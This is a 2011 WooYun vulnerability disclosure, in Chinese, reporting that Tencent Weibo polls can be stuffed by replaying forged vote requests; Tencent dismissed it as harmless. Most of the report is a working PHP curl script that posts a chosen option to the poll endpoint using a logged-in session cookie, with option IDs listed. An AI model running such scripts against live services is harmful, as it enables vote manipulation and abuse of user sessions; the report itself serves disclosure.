漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2011-02425
漏洞标题:腾讯微博投票任意刷票
相关厂商:腾讯
漏洞作者: 路人甲
提交时间:2011-07-09 09:40
修复时间:2011-07-11 16:27
公开时间:2011-07-11 16:27
漏洞类型:设计缺陷/逻辑错误
危害等级:低
自评Rank:5
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2011-07-09: 细节已通知厂商并且等待厂商处理中
2011-07-11: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
投票验证不严格,伪造好该伪造的东西持续发包可以无限制刷票
详细说明:
<?php
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
$post_data = array();
$post_data['PjtID'] = "1231111";
$post_data['fmt'] = "json";
$post_data['sbj_1265235[]'] = "92705";
$url='http://input.vote.qq.com/survey.php';
//此处cookie设计个人隐私已经处理过,验证请登录后获取自己的cookie填写进去
$cookie = "pt2gguin=o01234567; ptcz=b07aaa0361dbcca29fcc0947dfc6f0123d28d98cb1b5444ac6e6966ab60231d; pgv_pvid=1504119262; pgv_flv=10.0 r42; r_cookie=101116893310; o_cookie=1234567; pgv_r_cookie=1011141387498; AREACODE=1|11|; PCCOOKIE=c286b093513a01ff87b685d36b4992e7ce250060d88a742473410307052b3ff8; PCCOOKIE2=3757924392; pvid=1504119262; showModel=list; embedcodeTips=3; FTN5K=81dfa7b7; pgv_info=ssid=s3699741908; verifysession=h00566bec68cbc73f67f235c8e9654d1ffd53d3fcac2904bca29e2ee0720b908d44c2e4d5125c47544e4c0cd101f87775f1; uin=o01234567; skey=@rivZzC3TQ; ptisp=cnc; luin=o01234567; lskey=000100002d90fd9c2cb30088b018b037c953c4a5c73a8f478b856ccc4460cf8104aafaa1093204451b71b3; ptui_loginuin2=1234567; qv_swfrfh=t.qq.com; qv_swfrfc=v18";
$o="";
foreach ($post_data as $k=>$v)
{
$o.= "$k=".urlencode($v)."&";
}
$post_data=substr($o,0,-1);
$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt ($ch, CURLOPT_COOKIE , $cookie );
curl_setopt($ch, CURLOPT_REFERER," http://t.qq.com/k/%E6%9D%8E%E6%98%8C%E5%A5%8E%E5%88%A4%E6%AD%BB%E7%BC%93%E5%BC%95%E4%BA%89%E8%AE%AE");
//为了支持cookie
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$result = curl_exec($ch);
echo $result;
?>
漏洞证明:
http://t.qq.com/k/%E6%9D%8E%E6%98%8C%E5%A5%8E%E5%88%A4%E6%AD%BB%E7%BC%93%E5%BC%95%E4%BA%89%E8%AE%AE
上面代码执行后可以看到选项为不好说的那个会有所增加,因为数量少的容易验证
$post_data['sbj_1265235[]'] = "92705";
92703 92704 92705分别代表三个选项
修复方案:
个人认为这种东西把所有投过票的用户都记录下来在投票的时候做对比也是代价比较大,有点不靠谱的,不过腾讯应该把N个小时内的用户记录下来应该还是可以对比的,另外就是投过票的一刷新页面又可以投了,只验证用户资格,投票只做了N秒内的验证,用户刷新页面搞下问题不大,但是程序伪造一直发包数量就很客观,可以刷票了
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2011-07-11 16:27
厂商回复:
经过确认,这个不存在安全问题。仍然感谢您的反馈。
漏洞Rank:4 (WooYun评价)
最新状态:
暂无